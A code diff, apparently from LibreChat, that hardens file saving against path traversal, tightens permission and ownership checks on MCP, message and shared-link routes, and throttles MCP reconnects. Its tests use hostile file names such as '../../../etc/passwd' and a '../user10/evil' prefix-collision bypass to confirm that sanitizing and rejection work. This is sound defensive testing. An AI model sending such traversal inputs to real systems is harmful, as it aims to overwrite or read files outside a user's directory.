router.get('/:serverName/auth-values', requireJwtAuth, async (req, res) => {
|
router.get('/:serverName/auth-values', requireJwtAuth, checkMCPUsePermissions, async (req, res) => {
|
||||||
try {
|
try {
|
||||||
const { serverName } = req.params;
|
const { serverName } = req.params;
|
||||||
const user = req.user;
|
const user = req.user;
|
||||||
|
|
@ -662,19 +714,6 @@ async function getOAuthHeaders(serverName, userId) {
|
||||||
MCP Server CRUD Routes (User-Managed MCP Servers)
|
MCP Server CRUD Routes (User-Managed MCP Servers)
|
||||||
*/
|
*/
|
||||||
|
|
||||||
// Permission checkers for MCP server management
|
|
||||||
const checkMCPUsePermissions = generateCheckAccess({
|
|
||||||
permissionType: PermissionTypes.MCP_SERVERS,
|
|
||||||
permissions: [Permissions.USE],
|
|
||||||
getRoleByName,
|
|
||||||
});
|
|
||||||
|
|
||||||
const checkMCPCreate = generateCheckAccess({
|
|
||||||
permissionType: PermissionTypes.MCP_SERVERS,
|
|
||||||
permissions: [Permissions.USE, Permissions.CREATE],
|
|
||||||
getRoleByName,
|
|
||||||
});
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get list of accessible MCP servers
|
* Get list of accessible MCP servers
|
||||||
* @route GET /api/mcp/servers
|
* @route GET /api/mcp/servers
|
||||||
|
|
|
||||||
|
|
@ -404,8 +404,8 @@ router.put('/:conversationId/:messageId/feedback', validateMessageReq, async (re
|
||||||
|
|
||||||
router.delete('/:conversationId/:messageId', validateMessageReq, async (req, res) => {
|
router.delete('/:conversationId/:messageId', validateMessageReq, async (req, res) => {
|
||||||
try {
|
try {
|
||||||
const { messageId } = req.params;
|
const { conversationId, messageId } = req.params;
|
||||||
await deleteMessages({ messageId });
|
await deleteMessages({ messageId, conversationId, user: req.user.id });
|
||||||
res.status(204).send();
|
res.status(204).send();
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
logger.error('Error deleting message:', error);
|
logger.error('Error deleting message:', error);
|
||||||
|
|
|
||||||
|
|
@ -19,9 +19,7 @@ const allowSharedLinks =
|
||||||
process.env.ALLOW_SHARED_LINKS === undefined || isEnabled(process.env.ALLOW_SHARED_LINKS);
|
process.env.ALLOW_SHARED_LINKS === undefined || isEnabled(process.env.ALLOW_SHARED_LINKS);
|
||||||
|
|
||||||
if (allowSharedLinks) {
|
if (allowSharedLinks) {
|
||||||
const allowSharedLinksPublic =
|
const allowSharedLinksPublic = isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC);
|
||||||
process.env.ALLOW_SHARED_LINKS_PUBLIC === undefined ||
|
|
||||||
isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC);
|
|
||||||
router.get(
|
router.get(
|
||||||
'/:shareId',
|
'/:shareId',
|
||||||
allowSharedLinksPublic ? (req, res, next) => next() : requireJwtAuth,
|
allowSharedLinksPublic ? (req, res, next) => next() : requireJwtAuth,
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,124 @@
|
||||||
|
jest.mock('uuid', () => ({ v4: jest.fn(() => 'mock-uuid') }));
|
||||||
|
|
||||||
|
jest.mock('@librechat/data-schemas', () => ({
|
||||||
|
logger: { warn: jest.fn(), debug: jest.fn(), error: jest.fn() },
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('@librechat/agents', () => ({
|
||||||
|
getCodeBaseURL: jest.fn(() => 'http://localhost:8000'),
|
||||||
|
}));
|
||||||
|
|
||||||
|
const mockSanitizeFilename = jest.fn();
|
||||||
|
|
||||||
|
jest.mock('@librechat/api', () => ({
|
||||||
|
logAxiosError: jest.fn(),
|
||||||
|
getBasePath: jest.fn(() => ''),
|
||||||
|
sanitizeFilename: mockSanitizeFilename,
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('librechat-data-provider', () => ({
|
||||||
|
...jest.requireActual('librechat-data-provider'),
|
||||||
|
mergeFileConfig: jest.fn(() => ({ serverFileSizeLimit: 100 * 1024 * 1024 })),
|
||||||
|
getEndpointFileConfig: jest.fn(() => ({
|
||||||
|
fileSizeLimit: 100 * 1024 * 1024,
|
||||||
|
supportedMimeTypes: ['*/*'],
|
||||||
|
})),
|
||||||
|
fileConfig: { checkType: jest.fn(() => true) },
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/models', () => ({
|
||||||
|
createFile: jest.fn().mockResolvedValue({}),
|
||||||
|
getFiles: jest.fn().mockResolvedValue([]),
|
||||||
|
updateFile: jest.fn(),
|
||||||
|
claimCodeFile: jest.fn().mockResolvedValue({ file_id: 'mock-uuid', usage: 0 }),
|
||||||
|
}));
|
||||||
|
|
||||||
|
const mockSaveBuffer = jest.fn().mockResolvedValue('/uploads/user123/mock-uuid__output.csv');
|
||||||
|
|
||||||
|
jest.mock('~/server/services/Files/strategies', () => ({
|
||||||
|
getStrategyFunctions: jest.fn(() => ({
|
||||||
|
saveBuffer: mockSaveBuffer,
|
||||||
|
})),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/server/services/Files/permissions', () => ({
|
||||||
|
filterFilesByAgentAccess: jest.fn().mockResolvedValue([]),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/server/services/Files/images/convert', () => ({
|
||||||
|
convertImage: jest.fn(),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/server/utils', () => ({
|
||||||
|
determineFileType: jest.fn().mockResolvedValue({ mime: 'text/csv' }),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('axios', () =>
|
||||||
|
jest.fn().mockResolvedValue({
|
||||||
|
data: Buffer.from('file-content'),
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
|
const { createFile } = require('~/models');
|
||||||
|
const { processCodeOutput } = require('../process');
|
||||||
|
|
||||||
|
const baseParams = {
|
||||||
|
req: {
|
||||||
|
user: { id: 'user123' },
|
||||||
|
config: {
|
||||||
|
fileStrategy: 'local',
|
||||||
|
imageOutputType: 'webp',
|
||||||
|
fileConfig: {},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
id: 'code-file-id',
|
||||||
|
apiKey: 'test-key',
|
||||||
|
toolCallId: 'tool-1',
|
||||||
|
conversationId: 'conv-1',
|
||||||
|
messageId: 'msg-1',
|
||||||
|
session_id: 'session-1',
|
||||||
|
};
|
||||||
|
|
||||||
|
describe('processCodeOutput path traversal protection', () => {
|
||||||
|
beforeEach(() => {
|
||||||
|
jest.clearAllMocks();
|
||||||
|
});
|
||||||
|
|
||||||
|
test('sanitizeFilename is called with the raw artifact name', async () => {
|
||||||
|
mockSanitizeFilename.mockReturnValueOnce('output.csv');
|
||||||
|
await processCodeOutput({ ...baseParams, name: 'output.csv' });
|
||||||
|
expect(mockSanitizeFilename).toHaveBeenCalledWith('output.csv');
|
||||||
|
});
|
||||||
|
|
||||||
|
test('sanitized name is used in saveBuffer fileName', async () => {
|
||||||
|
mockSanitizeFilename.mockReturnValueOnce('sanitized-name.txt');
|
||||||
|
await processCodeOutput({ ...baseParams, name: '../../../tmp/poc.txt' });
|
||||||
|
|
||||||
|
expect(mockSanitizeFilename).toHaveBeenCalledWith('../../../tmp/poc.txt');
|
||||||
|
const call = mockSaveBuffer.mock.calls[0][0];
|
||||||
|
expect(call.fileName).toBe('mock-uuid__sanitized-name.txt');
|
||||||
|
});
|
||||||
|
|
||||||
|
test('sanitized name is stored as filename in the file record', async () => {
|
||||||
|
mockSanitizeFilename.mockReturnValueOnce('safe-output.csv');
|
||||||
|
await processCodeOutput({ ...baseParams, name: 'unsafe/../../output.csv' });
|
||||||
|
|
||||||
|
const fileArg = createFile.mock.calls[0][0];
|
||||||
|
expect(fileArg.filename).toBe('safe-output.csv');
|
||||||
|
});
|
||||||
|
|
||||||
|
test('sanitized name is used for image file records', async () => {
|
||||||
|
const { convertImage } = require('~/server/services/Files/images/convert');
|
||||||
|
convertImage.mockResolvedValueOnce({
|
||||||
|
filepath: '/images/user123/mock-uuid.webp',
|
||||||
|
bytes: 100,
|
||||||
|
});
|
||||||
|
|
||||||
|
mockSanitizeFilename.mockReturnValueOnce('safe-chart.png');
|
||||||
|
await processCodeOutput({ ...baseParams, name: '../../../chart.png' });
|
||||||
|
|
||||||
|
expect(mockSanitizeFilename).toHaveBeenCalledWith('../../../chart.png');
|
||||||
|
const fileArg = createFile.mock.calls[0][0];
|
||||||
|
expect(fileArg.filename).toBe('safe-chart.png');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
@ -3,7 +3,7 @@ const { v4 } = require('uuid');
|
||||||
const axios = require('axios');
|
const axios = require('axios');
|
||||||
const { logger } = require('@librechat/data-schemas');
|
const { logger } = require('@librechat/data-schemas');
|
||||||
const { getCodeBaseURL } = require('@librechat/agents');
|
const { getCodeBaseURL } = require('@librechat/agents');
|
||||||
const { logAxiosError, getBasePath } = require('@librechat/api');
|
const { logAxiosError, getBasePath, sanitizeFilename } = require('@librechat/api');
|
||||||
const {
|
const {
|
||||||
Tools,
|
Tools,
|
||||||
megabyte,
|
megabyte,
|
||||||
|
|
@ -146,6 +146,13 @@ const processCodeOutput = async ({
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const safeName = sanitizeFilename(name);
|
||||||
|
if (safeName !== name) {
|
||||||
|
logger.warn(
|
||||||
|
`[processCodeOutput] Filename sanitized: "${name}" -> "${safeName}" | conv=${conversationId}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
if (isImage) {
|
if (isImage) {
|
||||||
const usage = isUpdate ? (claimed.usage ?? 0) + 1 : 1;
|
const usage = isUpdate ? (claimed.usage ?? 0) + 1 : 1;
|
||||||
const _file = await convertImage(req, buffer, 'high', `${file_id}${fileExt}`);
|
const _file = await convertImage(req, buffer, 'high', `${file_id}${fileExt}`);
|
||||||
|
|
@ -156,7 +163,7 @@ const processCodeOutput = async ({
|
||||||
file_id,
|
file_id,
|
||||||
messageId,
|
messageId,
|
||||||
usage,
|
usage,
|
||||||
filename: name,
|
filename: safeName,
|
||||||
conversationId,
|
conversationId,
|
||||||
user: req.user.id,
|
user: req.user.id,
|
||||||
type: `image/${appConfig.imageOutputType}`,
|
type: `image/${appConfig.imageOutputType}`,
|
||||||
|
|
@ -200,7 +207,7 @@ const processCodeOutput = async ({
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
const fileName = `${file_id}__${name}`;
|
const fileName = `${file_id}__${safeName}`;
|
||||||
const filepath = await saveBuffer({
|
const filepath = await saveBuffer({
|
||||||
userId: req.user.id,
|
userId: req.user.id,
|
||||||
buffer,
|
buffer,
|
||||||
|
|
@ -213,7 +220,7 @@ const processCodeOutput = async ({
|
||||||
filepath,
|
filepath,
|
||||||
messageId,
|
messageId,
|
||||||
object: 'file',
|
object: 'file',
|
||||||
filename: name,
|
filename: safeName,
|
||||||
type: mimeType,
|
type: mimeType,
|
||||||
conversationId,
|
conversationId,
|
||||||
user: req.user.id,
|
user: req.user.id,
|
||||||
|
|
@ -229,6 +236,11 @@ const processCodeOutput = async ({
|
||||||
await createFile(file, true);
|
await createFile(file, true);
|
||||||
return Object.assign(file, { messageId, toolCallId });
|
return Object.assign(file, { messageId, toolCallId });
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
|
if (error?.message === 'Path traversal detected in filename') {
|
||||||
|
logger.warn(
|
||||||
|
`[processCodeOutput] Path traversal blocked for file "${name}" | conv=${conversationId}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
logAxiosError({
|
logAxiosError({
|
||||||
message: 'Error downloading/processing code environment file',
|
message: 'Error downloading/processing code environment file',
|
||||||
error,
|
error,
|
||||||
|
|
|
||||||
|
|
@ -58,6 +58,7 @@ jest.mock('@librechat/agents', () => ({
|
||||||
jest.mock('@librechat/api', () => ({
|
jest.mock('@librechat/api', () => ({
|
||||||
logAxiosError: jest.fn(),
|
logAxiosError: jest.fn(),
|
||||||
getBasePath: jest.fn(() => ''),
|
getBasePath: jest.fn(() => ''),
|
||||||
|
sanitizeFilename: jest.fn((name) => name),
|
||||||
}));
|
}));
|
||||||
|
|
||||||
// Mock models
|
// Mock models
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,69 @@
|
||||||
|
jest.mock('@librechat/api', () => ({ deleteRagFile: jest.fn() }));
|
||||||
|
jest.mock('@librechat/data-schemas', () => ({
|
||||||
|
logger: { warn: jest.fn(), error: jest.fn() },
|
||||||
|
}));
|
||||||
|
|
||||||
|
const mockTmpBase = require('fs').mkdtempSync(
|
||||||
|
require('path').join(require('os').tmpdir(), 'crud-traversal-'),
|
||||||
|
);
|
||||||
|
|
||||||
|
jest.mock('~/config/paths', () => {
|
||||||
|
const path = require('path');
|
||||||
|
return {
|
||||||
|
publicPath: path.join(mockTmpBase, 'public'),
|
||||||
|
uploads: path.join(mockTmpBase, 'uploads'),
|
||||||
|
};
|
||||||
|
});
|
||||||
|
|
||||||
|
const fs = require('fs');
|
||||||
|
const path = require('path');
|
||||||
|
const { saveLocalBuffer } = require('../crud');
|
||||||
|
|
||||||
|
describe('saveLocalBuffer path containment', () => {
|
||||||
|
beforeAll(() => {
|
||||||
|
fs.mkdirSync(path.join(mockTmpBase, 'public', 'images'), { recursive: true });
|
||||||
|
fs.mkdirSync(path.join(mockTmpBase, 'uploads'), { recursive: true });
|
||||||
|
});
|
||||||
|
|
||||||
|
afterAll(() => {
|
||||||
|
fs.rmSync(mockTmpBase, { recursive: true, force: true });
|
||||||
|
});
|
||||||
|
|
||||||
|
test('rejects filenames with path traversal sequences', async () => {
|
||||||
|
await expect(
|
||||||
|
saveLocalBuffer({
|
||||||
|
userId: 'user1',
|
||||||
|
buffer: Buffer.from('malicious'),
|
||||||
|
fileName: '../../../etc/passwd',
|
||||||
|
basePath: 'uploads',
|
||||||
|
}),
|
||||||
|
).rejects.toThrow('Path traversal detected in filename');
|
||||||
|
});
|
||||||
|
|
||||||
|
test('rejects prefix-collision traversal (startsWith bypass)', async () => {
|
||||||
|
fs.mkdirSync(path.join(mockTmpBase, 'uploads', 'user10'), { recursive: true });
|
||||||
|
await expect(
|
||||||
|
saveLocalBuffer({
|
||||||
|
userId: 'user1',
|
||||||
|
buffer: Buffer.from('malicious'),
|
||||||
|
fileName: '../user10/evil',
|
||||||
|
basePath: 'uploads',
|
||||||
|
}),
|
||||||
|
).rejects.toThrow('Path traversal detected in filename');
|
||||||
|
});
|
||||||
|
|
||||||
|
test('allows normal filenames', async () => {
|
||||||
|
const result = await saveLocalBuffer({
|
||||||
|
userId: 'user1',
|
||||||
|
buffer: Buffer.from('safe content'),
|
||||||
|
fileName: 'file-id__output.csv',
|
||||||
|
basePath: 'uploads',
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(result).toBe('/uploads/user1/file-id__output.csv');
|
||||||
|
|
||||||
|
const filePath = path.join(mockTmpBase, 'uploads', 'user1', 'file-id__output.csv');
|
||||||
|
expect(fs.existsSync(filePath)).toBe(true);
|
||||||
|
fs.unlinkSync(filePath);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
@ -78,7 +78,13 @@ async function saveLocalBuffer({ userId, buffer, fileName, basePath = 'images' }
|
||||||
fs.mkdirSync(directoryPath, { recursive: true });
|
fs.mkdirSync(directoryPath, { recursive: true });
|
||||||
}
|
}
|
||||||
|
|
||||||
fs.writeFileSync(path.join(directoryPath, fileName), buffer);
|
const resolvedDir = path.resolve(directoryPath);
|
||||||
|
const resolvedPath = path.resolve(resolvedDir, fileName);
|
||||||
|
const rel = path.relative(resolvedDir, resolvedPath);
|
||||||
|
if (rel.startsWith('..') || path.isAbsolute(rel) || rel.includes(`..${path.sep}`)) {
|
||||||
|
throw new Error('Path traversal detected in filename');
|
||||||
|
}
|
||||||
|
fs.writeFileSync(resolvedPath, buffer);
|
||||||
|
|
||||||
const filePath = path.posix.join('/', basePath, userId, fileName);
|
const filePath = path.posix.join('/', basePath, userId, fileName);
|
||||||
|
|
||||||
|
|
@ -165,9 +171,8 @@ async function getLocalFileURL({ fileName, basePath = 'images' }) {
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Validates if a given filepath is within a specified subdirectory under a base path. This function constructs
|
* Validates that a filepath is strictly contained within a subdirectory under a base path,
|
||||||
* the expected base path using the base, subfolder, and user id from the request, and then checks if the
|
* using path.relative to prevent prefix-collision bypasses.
|
||||||
* provided filepath starts with this constructed base path.
|
|
||||||
*
|
*
|
||||||
* @param {ServerRequest} req - The request object from Express. It should contain a `user` property with an `id`.
|
* @param {ServerRequest} req - The request object from Express. It should contain a `user` property with an `id`.
|
||||||
* @param {string} base - The base directory path.
|
* @param {string} base - The base directory path.
|
||||||
|
|
@ -180,7 +185,8 @@ async function getLocalFileURL({ fileName, basePath = 'images' }) {
|
||||||
const isValidPath = (req, base, subfolder, filepath) => {
|
const isValidPath = (req, base, subfolder, filepath) => {
|
||||||
const normalizedBase = path.resolve(base, subfolder, req.user.id);
|
const normalizedBase = path.resolve(base, subfolder, req.user.id);
|
||||||
const normalizedFilepath = path.resolve(filepath);
|
const normalizedFilepath = path.resolve(filepath);
|
||||||
return normalizedFilepath.startsWith(normalizedBase);
|
const rel = path.relative(normalizedBase, normalizedFilepath);
|
||||||
|
return !rel.startsWith('..') && !path.isAbsolute(rel) && !rel.includes(`..${path.sep}`);
|
||||||
};
|
};
|
||||||
|
|
||||||
/**
|
/**
|
||||||
|
|
|
||||||
|
|
@ -34,6 +34,55 @@ const { reinitMCPServer } = require('./Tools/mcp');
|
||||||
const { getAppConfig } = require('./Config');
|
const { getAppConfig } = require('./Config');
|
||||||
const { getLogStores } = require('~/cache');
|
const { getLogStores } = require('~/cache');
|
||||||
|
|
||||||
|
const MAX_CACHE_SIZE = 1000;
|
||||||
|
const lastReconnectAttempts = new Map();
|
||||||
|
const RECONNECT_THROTTLE_MS = 10_000;
|
||||||
|
|
||||||
|
const missingToolCache = new Map();
|
||||||
|
const MISSING_TOOL_TTL_MS = 10_000;
|
||||||
|
|
||||||
|
function evictStale(map, ttl) {
|
||||||
|
if (map.size <= MAX_CACHE_SIZE) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const now = Date.now();
|
||||||
|
for (const [key, timestamp] of map) {
|
||||||
|
if (now - timestamp >= ttl) {
|
||||||
|
map.delete(key);
|
||||||
|
}
|
||||||
|
if (map.size <= MAX_CACHE_SIZE) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const unavailableMsg =
|
||||||
|
"This tool's MCP server is temporarily unavailable. Please try again shortly.";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param {string} toolName
|
||||||
|
* @param {string} serverName
|
||||||
|
*/
|
||||||
|
function createUnavailableToolStub(toolName, serverName) {
|
||||||
|
const normalizedToolKey = `${toolName}${Constants.mcp_delimiter}${normalizeServerName(serverName)}`;
|
||||||
|
const _call = async () => [unavailableMsg, null];
|
||||||
|
const toolInstance = tool(_call, {
|
||||||
|
schema: {
|
||||||
|
type: 'object',
|
||||||
|
properties: {
|
||||||
|
input: { type: 'string', description: 'Input for the tool' },
|
||||||
|
},
|
||||||
|
required: [],
|
||||||
|
},
|
||||||
|
name: normalizedToolKey,
|
||||||
|
description: unavailableMsg,
|
||||||
|
responseFormat: AgentConstants.CONTENT_AND_ARTIFACT,
|
||||||
|
});
|
||||||
|
toolInstance.mcp = true;
|
||||||
|
toolInstance.mcpRawServerName = serverName;
|
||||||
|
return toolInstance;
|
||||||
|
}
|
||||||
|
|
||||||
function isEmptyObjectSchema(jsonSchema) {
|
function isEmptyObjectSchema(jsonSchema) {
|
||||||
return (
|
return (
|
||||||
jsonSchema != null &&
|
jsonSchema != null &&
|
||||||
|
|
@ -211,6 +260,17 @@ async function reconnectServer({
|
||||||
logger.debug(
|
logger.debug(
|
||||||
`[MCP][reconnectServer] serverName: ${serverName}, user: ${user?.id}, hasUserMCPAuthMap: ${!!userMCPAuthMap}`,
|
`[MCP][reconnectServer] serverName: ${serverName}, user: ${user?.id}, hasUserMCPAuthMap: ${!!userMCPAuthMap}`,
|
||||||
);
|
);
|
||||||
|
|
||||||
|
const throttleKey = `${user.id}:${serverName}`;
|
||||||
|
const now = Date.now();
|
||||||
|
const lastAttempt = lastReconnectAttempts.get(throttleKey) ?? 0;
|
||||||
|
if (now - lastAttempt < RECONNECT_THROTTLE_MS) {
|
||||||
|
logger.debug(`[MCP][reconnectServer] Throttled reconnect for ${serverName}`);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
lastReconnectAttempts.set(throttleKey, now);
|
||||||
|
evictStale(lastReconnectAttempts, RECONNECT_THROTTLE_MS);
|
||||||
|
|
||||||
const runId = Constants.USE_PRELIM_RESPONSE_MESSAGE_ID;
|
const runId = Constants.USE_PRELIM_RESPONSE_MESSAGE_ID;
|
||||||
const flowId = `${user.id}:${serverName}:${Date.now()}`;
|
const flowId = `${user.id}:${serverName}:${Date.now()}`;
|
||||||
const flowManager = getFlowStateManager(getLogStores(CacheKeys.FLOWS));
|
const flowManager = getFlowStateManager(getLogStores(CacheKeys.FLOWS));
|
||||||
|
|
@ -267,7 +327,7 @@ async function reconnectServer({
|
||||||
userMCPAuthMap,
|
userMCPAuthMap,
|
||||||
forceNew: true,
|
forceNew: true,
|
||||||
returnOnOAuth: false,
|
returnOnOAuth: false,
|
||||||
connectionTimeout: Time.TWO_MINUTES,
|
connectionTimeout: Time.THIRTY_SECONDS,
|
||||||
});
|
});
|
||||||
} finally {
|
} finally {
|
||||||
// Clean up abort handler to prevent memory leaks
|
// Clean up abort handler to prevent memory leaks
|
||||||
|
|
@ -330,9 +390,13 @@ async function createMCPTools({
|
||||||
userMCPAuthMap,
|
userMCPAuthMap,
|
||||||
streamId,
|
streamId,
|
||||||
});
|
});
|
||||||
|
if (result === null) {
|
||||||
|
logger.debug(`[MCP][${serverName}] Reconnect throttled, skipping tool creation.`);
|
||||||
|
return [];
|
||||||
|
}
|
||||||
if (!result || !result.tools) {
|
if (!result || !result.tools) {
|
||||||
logger.warn(`[MCP][${serverName}] Failed to reinitialize MCP server.`);
|
logger.warn(`[MCP][${serverName}] Failed to reinitialize MCP server.`);
|
||||||
return;
|
return [];
|
||||||
}
|
}
|
||||||
|
|
||||||
const serverTools = [];
|
const serverTools = [];
|
||||||
|
|
@ -402,6 +466,14 @@ async function createMCPTool({
|
||||||
/** @type {LCTool | undefined} */
|
/** @type {LCTool | undefined} */
|
||||||
let toolDefinition = availableTools?.[toolKey]?.function;
|
let toolDefinition = availableTools?.[toolKey]?.function;
|
||||||
if (!toolDefinition) {
|
if (!toolDefinition) {
|
||||||
|
const cachedAt = missingToolCache.get(toolKey);
|
||||||
|
if (cachedAt && Date.now() - cachedAt < MISSING_TOOL_TTL_MS) {
|
||||||
|
logger.debug(
|
||||||
|
`[MCP][${serverName}][${toolName}] Tool in negative cache, returning unavailable stub.`,
|
||||||
|
);
|
||||||
|
return createUnavailableToolStub(toolName, serverName);
|
||||||
|
}
|
||||||
|
|
||||||
logger.warn(
|
logger.warn(
|
||||||
`[MCP][${serverName}][${toolName}] Requested tool not found in available tools, re-initializing MCP server.`,
|
`[MCP][${serverName}][${toolName}] Requested tool not found in available tools, re-initializing MCP server.`,
|
||||||
);
|
);
|
||||||
|
|
@ -415,11 +487,18 @@ async function createMCPTool({
|
||||||
streamId,
|
streamId,
|
||||||
});
|
});
|
||||||
toolDefinition = result?.availableTools?.[toolKey]?.function;
|
toolDefinition = result?.availableTools?.[toolKey]?.function;
|
||||||
|
|
||||||
|
if (!toolDefinition) {
|
||||||
|
missingToolCache.set(toolKey, Date.now());
|
||||||
|
evictStale(missingToolCache, MISSING_TOOL_TTL_MS);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!toolDefinition) {
|
if (!toolDefinition) {
|
||||||
logger.warn(`[MCP][${serverName}][${toolName}] Tool definition not found, cannot create tool.`);
|
logger.warn(
|
||||||
return;
|
`[MCP][${serverName}][${toolName}] Tool definition not found, returning unavailable stub.`,
|
||||||
|
);
|
||||||
|
return createUnavailableToolStub(toolName, serverName);
|
||||||
}
|
}
|
||||||
|
|
||||||
return createToolInstance({
|
return createToolInstance({
|
||||||
|
|
@ -720,4 +799,5 @@ module.exports = {
|
||||||
getMCPSetupData,
|
getMCPSetupData,
|
||||||
checkOAuthFlowStatus,
|
checkOAuthFlowStatus,
|
||||||
getServerConnectionStatus,
|
getServerConnectionStatus,
|
||||||
|
createUnavailableToolStub,
|
||||||
};
|
};
|
||||||
|
|
|
||||||
|
|
@ -45,6 +45,7 @@ const {
|
||||||
getMCPSetupData,
|
getMCPSetupData,
|
||||||
checkOAuthFlowStatus,
|
checkOAuthFlowStatus,
|
||||||
getServerConnectionStatus,
|
getServerConnectionStatus,
|
||||||
|
createUnavailableToolStub,
|
||||||
} = require('./MCP');
|
} = require('./MCP');
|
||||||
|
|
||||||
jest.mock('./Config', () => ({
|
jest.mock('./Config', () => ({
|
||||||
|
|
@ -1098,6 +1099,188 @@ describe('User parameter passing tests', () => {
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
describe('createUnavailableToolStub', () => {
|
||||||
|
it('should return a tool whose _call returns a valid CONTENT_AND_ARTIFACT two-tuple', async () => {
|
||||||
|
const stub = createUnavailableToolStub('myTool', 'myServer');
|
||||||
|
// invoke() goes through langchain's base tool, which checks responseFormat.
|
||||||
|
// CONTENT_AND_ARTIFACT requires [content, artifact] — a bare string would throw:
|
||||||
|
// "Tool response format is "content_and_artifact" but the output was not a two-tuple"
|
||||||
|
const result = await stub.invoke({});
|
||||||
|
// If we reach here without throwing, the two-tuple format is correct.
|
||||||
|
// invoke() returns the content portion of [content, artifact] as a string.
|
||||||
|
expect(result).toContain('temporarily unavailable');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('negative tool cache and throttle interaction', () => {
|
||||||
|
it('should cache tool as missing even when throttled (cross-user dedup)', async () => {
|
||||||
|
const mockUser = { id: 'throttle-test-user' };
|
||||||
|
const mockRes = { write: jest.fn(), flush: jest.fn() };
|
||||||
|
|
||||||
|
// First call: reconnect succeeds but tool not found
|
||||||
|
mockReinitMCPServer.mockResolvedValueOnce({
|
||||||
|
availableTools: {},
|
||||||
|
});
|
||||||
|
|
||||||
|
await createMCPTool({
|
||||||
|
res: mockRes,
|
||||||
|
user: mockUser,
|
||||||
|
toolKey: `missing-tool${D}cache-dedup-server`,
|
||||||
|
provider: 'openai',
|
||||||
|
userMCPAuthMap: {},
|
||||||
|
availableTools: undefined,
|
||||||
|
});
|
||||||
|
|
||||||
|
// Second call within 10s for DIFFERENT tool on same server:
|
||||||
|
// reconnect is throttled (returns null), tool is still cached as missing.
|
||||||
|
// This is intentional: the cache acts as cross-user dedup since the
|
||||||
|
// throttle is per-user-per-server and can't prevent N different users
|
||||||
|
// from each triggering their own reconnect.
|
||||||
|
const result2 = await createMCPTool({
|
||||||
|
res: mockRes,
|
||||||
|
user: mockUser,
|
||||||
|
toolKey: `other-tool${D}cache-dedup-server`,
|
||||||
|
provider: 'openai',
|
||||||
|
userMCPAuthMap: {},
|
||||||
|
availableTools: undefined,
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(result2).toBeDefined();
|
||||||
|
expect(result2.name).toContain('other-tool');
|
||||||
|
expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should prevent user B from triggering reconnect when user A already cached the tool', async () => {
|
||||||
|
const userA = { id: 'cache-user-A' };
|
||||||
|
const userB = { id: 'cache-user-B' };
|
||||||
|
const mockRes = { write: jest.fn(), flush: jest.fn() };
|
||||||
|
|
||||||
|
// User A: real reconnect, tool not found → cached
|
||||||
|
mockReinitMCPServer.mockResolvedValueOnce({
|
||||||
|
availableTools: {},
|
||||||
|
});
|
||||||
|
|
||||||
|
await createMCPTool({
|
||||||
|
res: mockRes,
|
||||||
|
user: userA,
|
||||||
|
toolKey: `shared-tool${D}cross-user-server`,
|
||||||
|
provider: 'openai',
|
||||||
|
userMCPAuthMap: {},
|
||||||
|
availableTools: undefined,
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
|
||||||
|
|
||||||
|
// User B requests the SAME tool within 10s.
|
||||||
|
// The negative cache is keyed by toolKey (no user prefix), so user B
|
||||||
|
// gets a cache hit and no reconnect fires. This is the cross-user
|
||||||
|
// storm protection: without this, user B's unthrottled first request
|
||||||
|
// would trigger a second reconnect to the same server.
|
||||||
|
const result = await createMCPTool({
|
||||||
|
res: mockRes,
|
||||||
|
user: userB,
|
||||||
|
toolKey: `shared-tool${D}cross-user-server`,
|
||||||
|
provider: 'openai',
|
||||||
|
userMCPAuthMap: {},
|
||||||
|
availableTools: undefined,
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(result).toBeDefined();
|
||||||
|
expect(result.name).toContain('shared-tool');
|
||||||
|
// reinitMCPServer still called only once — user B hit the cache
|
||||||
|
expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should prevent user B from triggering reconnect for throttle-cached tools', async () => {
|
||||||
|
const userA = { id: 'storm-user-A' };
|
||||||
|
const userB = { id: 'storm-user-B' };
|
||||||
|
const mockRes = { write: jest.fn(), flush: jest.fn() };
|
||||||
|
|
||||||
|
// User A: real reconnect for tool-1, tool not found → cached
|
||||||
|
mockReinitMCPServer.mockResolvedValueOnce({
|
||||||
|
availableTools: {},
|
||||||
|
});
|
||||||
|
|
||||||
|
await createMCPTool({
|
||||||
|
res: mockRes,
|
||||||
|
user: userA,
|
||||||
|
toolKey: `tool-1${D}storm-server`,
|
||||||
|
